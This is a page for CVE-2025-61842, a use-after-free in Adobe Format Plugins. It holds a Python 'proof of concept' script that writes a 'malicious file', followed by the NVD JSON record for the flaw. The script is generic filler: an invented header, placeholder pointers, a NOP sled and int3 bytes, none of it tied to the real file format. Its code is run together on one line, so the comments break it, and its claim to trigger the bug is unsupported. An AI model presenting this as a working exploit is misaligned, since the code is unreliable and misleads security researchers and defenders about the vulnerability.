CVE-2025-61842

// CVE-2025-61842 PoC - Use After Free in Adobe Format Plugins // This PoC demonstrates the vulnerability trigger mechanism // Note: Actual exploitation requires specific memory conditions import struct def create_malicious_file(): """Generate a malicious file to trigger UAF in Adobe Format Plugins""" # File header with crafted data to trigger UAF condition header = b'FMTP' # Format Plugin signature # Crafted metadata that causes use-after-free # When plugin processes this, it may free memory incorrectly crafted_metadata = b'\x00' * 256 # Trigger data structure trigger_data = struct.pack('<I', 0x41414141) # Corrupted pointer trigger_data += struct.pack('<I', 0x42424242) # Fake vtable trigger_data += b'\x90' * 64 # NOP sled # Final payload section payload = b'\xCC' * 1024 # Int3 for debugging # Combine all parts malicious_file = header + crafted_metadata + trigger_data + payload # Write to file with open('CVE-2025-61842.malicious', 'wb') as f: f.write(malicious_file) print(f"Malicious file created: {len(malicious_file)} bytes") return malicious_file if __name__ == "__main__": create_malicious_file()

{"cve": {"id": "CVE-2025-61842", "sourceIdentifier": "[email protected]", "published": "2025-11-11T19:15:36.080", "lastModified": "2025-11-13T15:19:05.773", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Format Plugins versions 1.1.1 and earlier are affected by a Use After Free vulnerability that could lead to memory exposure. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:format_plugins:-:*:*:*:*:*:*:*", "matchCriteriaId": "9FE89744-A347-4449-8733-D54CA0E25723"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/formatplugins/apsb25-114.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}